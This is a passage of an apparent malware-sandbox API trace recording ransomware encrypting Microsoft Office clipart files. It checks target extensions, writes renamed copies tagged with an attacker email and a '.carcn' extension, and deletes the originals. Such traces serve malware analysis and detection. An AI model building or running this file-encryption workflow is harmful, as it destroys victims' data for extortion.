lstrlenW (lpString=".dbf") returned 4 [0307.003] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0307.003] lstrlenW (lpString=".1cd") returned 4 [0307.003] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0307.003] lstrlenW (lpString=".jpg") returned 4 [0307.003] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.003] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.003] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0307.004] GetLastError () returned 0x0 [0307.005] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x4fdc, lpOverlapped=0x0) returned 1 [0307.041] WriteFile (in: hFile=0x398, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x4fe0, lpOverlapped=0x0) returned 1 [0307.043] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.043] WriteFile (in: hFile=0x398, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.043] SetEndOfFile (hFile=0x398) returned 1 [0307.043] CloseHandle (hObject=0x398) returned 1 [0307.043] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.043] SetEndOfFile (hFile=0x34c) returned 1 [0307.044] CloseHandle (hObject=0x34c) returned 1 [0307.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 1 [0307.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0307.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0307.048] lstrlenW (lpString=".doc") returned 4 [0307.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.048] lstrlenW (lpString=".docx") returned 5 [0307.048] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0307.048] lstrlenW (lpString=".pdf") returned 4 [0307.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.048] lstrlenW (lpString=".xls") returned 4 [0307.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.048] lstrlenW (lpString=".xlsx") returned 5 [0307.048] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0307.048] lstrlenW (lpString=".ppt") returned 4 [0307.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0307.048] lstrlenW (lpString=".zip") returned 4 [0307.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.048] lstrlenW (lpString=".rar") returned 4 [0307.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.049] lstrlenW (lpString=".bz2") returned 4 [0307.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.049] lstrlenW (lpString=".7z") returned 3 [0307.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0307.049] lstrlenW (lpString=".dbf") returned 4 [0307.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0307.049] lstrlenW (lpString=".1cd") returned 4 [0307.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0307.049] lstrlenW (lpString=".jpg") returned 4 [0307.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.049] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.050] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0307.052] GetLastError () returned 0x0 [0307.052] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x1864, lpOverlapped=0x0) returned 1 [0307.081] WriteFile (in: hFile=0x338, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1870, lpOverlapped=0x0) returned 1 [0307.082] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.082] WriteFile (in: hFile=0x338, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.082] SetEndOfFile (hFile=0x338) returned 1 [0307.083] CloseHandle (hObject=0x338) returned 1 [0307.083] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.083] SetEndOfFile (hFile=0x34c) returned 1 [0307.084] CloseHandle (hObject=0x34c) returned 1 [0307.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.084] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 1 [0307.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0307.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0307.085] lstrlenW (lpString=".doc") returned 4 [0307.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.085] lstrlenW (lpString=".docx") returned 5 [0307.085] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0307.085] lstrlenW (lpString=".pdf") returned 4 [0307.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.085] lstrlenW (lpString=".xls") returned 4 [0307.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.085] lstrlenW (lpString=".xlsx") returned 5 [0307.085] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0307.085] lstrlenW (lpString=".ppt") returned 4 [0307.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0307.085] lstrlenW (lpString=".zip") returned 4 [0307.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.085] lstrlenW (lpString=".rar") returned 4 [0307.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.086] lstrlenW (lpString=".bz2") returned 4 [0307.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.086] lstrlenW (lpString=".7z") returned 3 [0307.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0307.086] lstrlenW (lpString=".dbf") returned 4 [0307.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0307.086] lstrlenW (lpString=".1cd") returned 4 [0307.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0307.086] lstrlenW (lpString=".jpg") returned 4 [0307.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.086] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.086] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0307.087] GetLastError () returned 0x0 [0307.087] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x1560, lpOverlapped=0x0) returned 1 [0307.100] WriteFile (in: hFile=0x338, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1570, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1570, lpOverlapped=0x0) returned 1 [0307.101] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.101] WriteFile (in: hFile=0x338, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.101] SetEndOfFile (hFile=0x338) returned 1 [0307.101] CloseHandle (hObject=0x338) returned 1 [0307.101] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.101] SetEndOfFile (hFile=0x34c) returned 1 [0307.102] CloseHandle (hObject=0x34c) returned 1 [0307.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 1 [0307.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0307.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0307.103] lstrlenW (lpString=".doc") returned 4 [0307.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.103] lstrlenW (lpString=".docx") returned 5 [0307.103] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0307.103] lstrlenW (lpString=".pdf") returned 4 [0307.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.103] lstrlenW (lpString=".xls") returned 4 [0307.103] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.103] lstrlenW (lpString=".xlsx") returned 5 [0307.103] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0307.104] lstrlenW (lpString=".ppt") returned 4 [0307.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0307.104] lstrlenW (lpString=".zip") returned 4 [0307.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.104] lstrlenW (lpString=".rar") returned 4 [0307.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.104] lstrlenW (lpString=".bz2") returned 4 [0307.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.104] lstrlenW (lpString=".7z") returned 3 [0307.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0307.104] lstrlenW (lpString=".dbf") returned 4 [0307.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0307.104] lstrlenW (lpString=".1cd") returned 4 [0307.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0307.104] lstrlenW (lpString=".jpg") returned 4 [0307.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.105] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.105] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0307.106] GetLastError () returned 0x0 [0307.106] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xb60, lpOverlapped=0x0) returned 1 [0307.126] WriteFile (in: hFile=0x338, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xb70, lpOverlapped=0x0) returned 1 [0307.127] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.127] WriteFile (in: hFile=0x338, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.128] SetEndOfFile (hFile=0x338) returned 1 [0307.128] CloseHandle (hObject=0x338) returned 1 [0307.128] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.128] SetEndOfFile (hFile=0x34c) returned 1 [0307.129] CloseHandle (hObject=0x34c) returned 1 [0307.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 1 [0307.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0307.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0307.130] lstrlenW (lpString=".doc") returned 4 [0307.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.130] lstrlenW (lpString=".docx") returned 5 [0307.130] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0307.130] lstrlenW (lpString=".pdf") returned 4 [0307.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.130] lstrlenW (lpString=".xls") returned 4 [0307.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.130] lstrlenW (lpString=".xlsx") returned 5 [0307.130] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0307.130] lstrlenW (lpString=".ppt") returned 4 [0307.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0307.131] lstrlenW (lpString=".zip") returned 4 [0307.131] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.131] lstrlenW (lpString=".rar") returned 4 [0307.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.131] lstrlenW (lpString=".bz2") returned 4 [0307.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.131] lstrlenW (lpString=".7z") returned 3 [0307.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0307.131] lstrlenW (lpString=".dbf") returned 4 [0307.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0307.131] lstrlenW (lpString=".1cd") returned 4 [0307.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0307.131] lstrlenW (lpString=".jpg") returned 4 [0307.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.132] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.132] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0307.132] GetLastError () returned 0x0 [0307.133] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x1cd8, lpOverlapped=0x0) returned 1 [0307.146] WriteFile (in: hFile=0x338, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x1ce0, lpOverlapped=0x0) returned 1 [0307.147] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.147] WriteFile (in: hFile=0x338, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.147] SetEndOfFile (hFile=0x338) returned 1 [0307.148] CloseHandle (hObject=0x338) returned 1 [0307.148] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.148] SetEndOfFile (hFile=0x34c) returned 1 [0307.149] CloseHandle (hObject=0x34c) returned 1 [0307.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.149] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 1 [0307.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0307.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0307.150] lstrlenW (lpString=".doc") returned 4 [0307.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.150] lstrlenW (lpString=".docx") returned 5 [0307.150] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0307.150] lstrlenW (lpString=".pdf") returned 4 [0307.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.150] lstrlenW (lpString=".xls") returned 4 [0307.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.150] lstrlenW (lpString=".xlsx") returned 5 [0307.150] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0307.150] lstrlenW (lpString=".ppt") returned 4 [0307.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0307.150] lstrlenW (lpString=".zip") returned 4 [0307.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.150] lstrlenW (lpString=".rar") returned 4 [0307.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.151] lstrlenW (lpString=".bz2") returned 4 [0307.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.151] lstrlenW (lpString=".7z") returned 3 [0307.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0307.151] lstrlenW (lpString=".dbf") returned 4 [0307.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0307.151] lstrlenW (lpString=".1cd") returned 4 [0307.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0307.151] lstrlenW (lpString=".jpg") returned 4 [0307.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.151] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.151] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0307.152] GetLastError () returned 0x0 [0307.152] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x21e8, lpOverlapped=0x0) returned 1 [0307.491] WriteFile (in: hFile=0x338, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x21f0, lpOverlapped=0x0) returned 1 [0307.492] ReadFile (in: hFile=0x34c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 